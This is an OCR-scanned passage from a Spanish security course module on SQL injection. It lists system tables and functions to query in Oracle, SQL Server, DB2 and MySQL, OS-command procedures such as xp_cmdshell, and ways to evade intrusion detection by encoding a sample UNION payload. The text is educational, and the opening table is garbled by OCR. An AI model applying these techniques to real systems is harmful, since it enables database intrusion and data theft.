COnCa- N7 concat Wwe o \ \‘ ‘/ r Nowy o \ \I Il 4
tenate (\\ //’ w //)
Strings
Null 1snull () Ifnull () Iff(lsnull()) |Ifnull() Ifnull () COALESCE ()
replace
Position | CHARINDEX LOCATE () InStr() InStr() InStr() TEXTPOS ()
Op Sys |xp cmdshell select into #date# utf file import from Call
interac- outfile/dump- export to
tion file
Cast Yes No No No Yes Yes
MS SQL MysSQL Access Oracle DB2 Postgres
UNION Y Y Y Y Y Y
Subselects Y N 4.0 N Y Y Y
Y 4.1
Batch Queries Y N* N N N Y
Default stored Many N N Many N N
procedures
Linking DBs Y Y N Y Y N

6.2. Objetivos principales para cada base de datos

Este punto detalla algunos de los objetivos mads interesantes a la hora de rea-

lizar un ataque contra algunas de las bases de datos mas populares. Se trata

de conocer las principales tablas a las que intentar extraer informacion acerca

de los permisos de los que dispone el usuario con el que esta interactuando el

aplicativo con la base de datos, las principales tablas de las que extraer infor-

macién interesante y como conocer la estructura y el contenido de la misma.
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6.2.1. Base de datos Oracle

En primer lugar, cabe comentar que Oracle tiene una tabla llamada “dual”
que permite realizar cualquier tipo de consulta contra ella, aunque no tiene
ningtn contenido. Se trata de una tabla “comodin”. Esta tabla es tutil para
realizar consultas sobre variables de entornos o hacer pruebas respecto a la
estructura de la consulta sobre la que se realiza la inyeccion.

Uno de los primeros pasos a realizar es consultar los permisos de los que dis-
pone el usuario que utiliza el aplicativo en la base de datos, basicamente se
trata de consultar si dicho usuario dispone de permisos de DBA o no. Para
ello, lo mejor es realizar una consulta contra alguna de las tablas a las que solo
tiene acceso el usuario con permisos de DBA. Por ejemplo, se puede intentar
realizar consultas a dba_users o cualquier otra tabla similar. De hecho, no son
tablas propiamente dichas, sino vistas. El prefijo, en el caso de Oracle, indica
que se trata de tablas a las que solo el DBA tiene acceso. En el segundo punto
del moédulo se muestran mas tablas de este estilo. En caso de recibir un error
por parte de la base de datos al intentar una consulta contra alguna de estas

tablas, no se disponen de permisos.

En cuanto a informacién técnica sobre la base de datos, se puede obtener la

version de la misma mediante cualquiera de las siguientes consultas:

® select version
e from instance
® select banner

e from vSversion

También se puede obtener el nombre del usuario de la base de datos con el
que esta ejecutando las consultas el aplicativo web mediante la variable de

entorno “user”.

En cuanto a la estructura de la base de datos, se pueden obtener las ta-
blas mediante una consulta a la tabla “all tables”. Para consultar las ta-
blas a las que tiene acceso el usuario, se puede afadir la condiciéon “whe-
re owner=user”. El nombre de las mismas se encuentra en la columna

“table name”.

En funcién del nombre de las tablas, es conveniente seleccionar la que
parezca mas interesante para continuar el ataque. Para obtener la estruc-
tura de una tabla en concreto se puede realizar una consulta a la tabla
“user tab columns” consultando la columna “column name” y afladien-

do la condicién “where table name=nombre de tabla”.
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Finalmente, habrd que tener en cuenta una tabla muy interesante y que nor-
malmente no se considera durante una inyeccién. En “all db links” se
encuentran enlaces desde la base de datos a otras bases de datos a las que pue-
de acceder mediante el usuario en ejecucion, por lo que podria permitir con-

tinuar el ataque una nueva ubicacion.

6.2.2. Base de datos Microsoft SQL Server

En primer lugar, un buen sitio para obtener informacion acerca de la confi-
guracion de la base de datos es en las variables de entorno. Para acceder a su
contenido se puede hacer una consulta sobre cualquier tabla existente o sim-
plemente sin afiadir en la consulta la parte del “from”. Algunas variables in-

teresantes son:

e  @@VERSION: Versién del servidor SQL.

e @@LANGUAGE: Idioma del servidor SQL.

e @@SERVICE_NAME: Nombre del servicio del servidor SQL (normalmente
MSSQLServer) . Solo disponible en SQL Server 7).

¢ @@SERVERNAME: Nombre de la méquina del servidor SQL.

e  @@USER: Usuario conectado.

Las tablas mas importantes de las que se puede obtener informacion del siste-

ma se encuentran dentro de la base de datos master. Algunas interesantes son:

e sysobjects: Posiblemente la tabla mas interesante. Contiene informa-
cion acerca de todos los objetos inventariados por el catalogo, por lo que
se encuentran los nombres de tablas, vistas, procedimientos almacenados,
etc. Para acceder tnicamente a las tablas sobre las que tiene permisos el
usuario actual, se debe incluir en la condicién de la sentencia “where

xtype='U"".

e syscolumns: Contiene la lista de las columnas de todas las tablas. La tac-
tica a seguir es la misma que la explicada en el punto anterior: buscar las
tablas interesantes y posteriormente, obtener la estructura de las mismas
a partir de esta tabla.

e sysusers: Informacién acerca de los usuarios que tiene el sistema, inclu-
yendo el hash de la contrasefia de acceso. En caso de conseguir el acceso,
seria posible descargar dicho hash para intentar ataques de fuerza bruta

con los que obtener la contrasefia en claro.

* sysdatabases: Contiene informacion acerca de otras bases de datos que
se encuentran en el catadlogo, de modo que se puede ampliar el ataque a

las mismas.

Ved también

Podéis ver las tablas de las que
se puede obtener informacién
del sistema en el médulo “Ata-
ques a aplicaciones web”.
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Finalmente, un punto especialmente interesante en cuanto a esta base de datos
son los procedimientos que ofrece para la interaccion directa con el sistema
operativo. A continuacion se listan algunas de las funciones mds interesantes
desde el punto de vista del atacante.

¢ xp cmdshell: Ejecuta un comando directamente contra el sistema ope-
rativo. Sin duda es el procedimiento mas popular y maés flexible.

e sp makewebtask: Crea un fichero html que contiene el resultado de una
consulta, lo cual es especialmente recomendable para el envio posterior de
la salida de la misma, o publicarlo directamente en caso de ser posible por
la infraestructura de la base de datos. No siempre se puede mostrar este
resultado como resultado de una inyeccion, por lo que esta funcion puede
resultar muy util en dicha situacion.

* sp_ addextendedproc: Crea un stored procedure. Indicado para la creacion
de backdoors o para intentar escalar privilegios en la base de datos sobre la

que se gana acceso, asi como para realizar tareas automaticas.

e xp dirtree: Lista todas las subcarpetas de un directorio. Indicado para
conocer la estructura de la méquina que hospeda la base de datos, aunque

no es nada que no se pueda hacer directamente con el xp_cmdshell.

* xp fixeddrives: Lista las unidades de disco.

®* xp servicecontrol: Permite arrancar y parar servicios. Muy util para,
por ejemplo, arrancar un servicio de “ftp” con el que interactuar con la

maquina.

6.2.3. Base de datos DB2

Se trata de una de las bases de datos mas veteranas, aunque tal vez es de las
menos comunes en entornos de aplicativos web. Normalmente se encuentra
en entornos de mainframe en los que no hay un acceso desde el exterior. Aun
asi, en ocasiones es posible encontrarla en dichos entornos y realizar ataques
de inyeccion SQL. A continuacién se muestran algunas de las tablas mas in-
teresantes para consultar en un ataque de este estilo:

¢ sysibm.sysdummyl: Esta tabla se utiliza como comodin para realizar con-
sultas, es equivalente a la tabla “dual” en Oracle.

e sysibm.tables / sysibm.systables / syscat.tables: Nos da
informacién sobre las tablas que contiene la base de datos.

* sysibm.views: Informacién respecto a vistas.

¢ sysibm.columns / sysibm.syscolumns: Campos de las tablas.

® sysibm.usernames: Informacién de usuarios para conexiones externas.
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e sysibm.sysversions: Contiene la versidon de la base de datos.

Hay que tener en cuenta las peculiaridades de DB2, que son muchas. En fun-
cion de la plataforma en la que se encuentre la base de datos, su comporta-
miento es distinto, ya que existen variantes para las iSeries (AS400) y para la
versién que corre sobre Windows, Linux y Unix. También hay que considerar
que la sintaxis de SQL es bastante peculiar en algunos aspectos y que existen
varias funciones propias para listar objetos y permisos (mediante “1ist ta-
bles”, por ejemplo). En cuanto a los usuarios, DB2 siempre utiliza un sistema
externo para la autenticacion, por lo que no encontraremos informacion res-

pecto de los mismos en las tablas de catalogo.

6.2.4. Base de datos Mysql

MySql es posiblemente la base de datos que sufre mayores variaciones en sus
altimas versiones en cuanto a las tablas de sistema. A partir de la version 5
cambia totalmente el funcionamiento del catdlogo, asi como las tablas que
contienen los datos. En versiones anteriores a la 4 habia problemas en el ca-
talogo en la utilizacién de algoritmos débiles de encriptacién que permitian

descifrar las contraserfias utilizadas.

Algunas de las funciones mas interesantes son:

e version (): Muestra la version de la base de datos.

e database (): El nombre de la base de datos a la que se estd conectado.

® user(), system user(), session_user(), current user():
Nombres de distintos usuarios.

® last insert id(): Id de la Ultima inserciédn.

e connection id():Id de la conexién actual.

Tablas

En cuanto a las tablas, lo mejor es consultar los manuales mds actualizados, ya que los
catédlogos cambian con cierta frecuencia. Esta informaciéon se puede encontrar en:

http://dev.mysql.com/doc/refman/4.1/en/

http://dev.mysql.com/doc/refman/5.0/en/

En la versién 5, las tablas mas interesantes se encuentran en el catdlogo (lla-
mado Information Schema):

e Tables: informacion acerca de las tablas de otras bases de datos.
e Columns: los campos que componen las tablas.

e Views: vistas disponibles.

e User privileges: permisos de los que disponen los usuarios.

e Routines: almacena procedimientos y funciones


http://dev.mysql.com/doc/refman/4.1/en/
http://dev.mysql.com/doc/refman/5.0/en/
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Aparte de estas funciones y tablas, una de las caracteristicas més interesantes
de MySql es la utilizacién de LOAD DATA INFILE y SELECT... INTO OUTFILE,
que permiten cargar datos en la base de datos directamente desde un fichero
o escribir en otro la salida de una consulta, de modo que en caso de estar
habilitados, permiten la interaccién con el sistema operativo. En caso de estar
mal configurados los permisos del usuario con el que corre el demonio de la
base de datos, esto puede suponer la lectura/escritura de archivos de sistema.

6.3. IDS Evasion

Todo este proceso de inyectar sentencias en los parametros vulnerables no es
especialmente sigiloso, por lo que la implementacién de un sistema que de-
tecte los parametros y los evite (IDS, IPS) es relativamente sencilla. Estos siste-
mas normalmente estan basados en firmas que en cuanto encuentran partes
sospechosas en las peticiones de URL, como las resultantes de utilizar senten-
cias SQL en los valores de los parametros, detienen la conexion. También estas
sentencias son facilmente detectables al consultar los logs del sistema.

Las técnicas de evasion tratan de “ocultar” lo que estan realizando realmente
las sentencias que lanza el atacante. Al estar los sistemas de detecciéon basados
en firmas, se trata de intentar ejecutar acciones maliciosas modificando la sin-
taxis habitual para que no coincidan con dichas firmas. Para ello, lo mejor es
usar distintas codificaciones. Normalmente los IDS no recodifican las senten-
cias para poder aplicar la comprobacion de firmas por una cuestién de eficien-
cia, lo que se puede aprovechar para evitarlos. Existen varias codificaciones
que se pueden utilizar como UTF-8, URL-encoding, codificacién hexadecimal,
etc. Todas estas codificaciones suele entenderlas la base de datos a la que llega
la consulta final, pero puede que no el IDS.

Por ejemplo, supongamos que un IDS corte cualquier conexién que contenga
el literal “unién”, de modo que la siguiente inyeccién no seria efectiva:

idlibro = 1' union @@version -

Un primer intento de evitar el IDS seria cambiando la codificacién:

Técnicas de evasion

Son técnicas para evitar la de-
teccién y hacer dificil la consul-
ta posterior de las peticiones
maliciosas.

URL-encoding32: 117 110 105 111 110 32 64 64 118 101 114 115 105 111 110 32 45 45

Base 64: encodingIHVuaW9uIEBAdmVyc2lvbiAtLQ==

Hex-encoding20: 75 6e 69 6f 6e 20 40 40 76 65 72 73 69 6f 6e 20 2d 2d
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Esta codificacién hay que adaptarla para enviarla mediante la herramienta con
la que se realiza la inyeccion (puede ser un simple navegador). Por ejemplo,
con URL encoding hay que introducir el caracter % delante de cada c6digo nu-
mérico, en Hex encoding hay que introducir Ox antes de cada valor hexadeci-
mal, etc.

Por otra parte, hay una serie de sentencias que se utilizan habitualmente, como
las que se ven en la parte de inyeccién ciega, como pueden ser “or 1=1" o
similares. En estos casos, es recomendable utilizar sentencias equivalentes pero

distintas, como puede ser “or 84847=84847".
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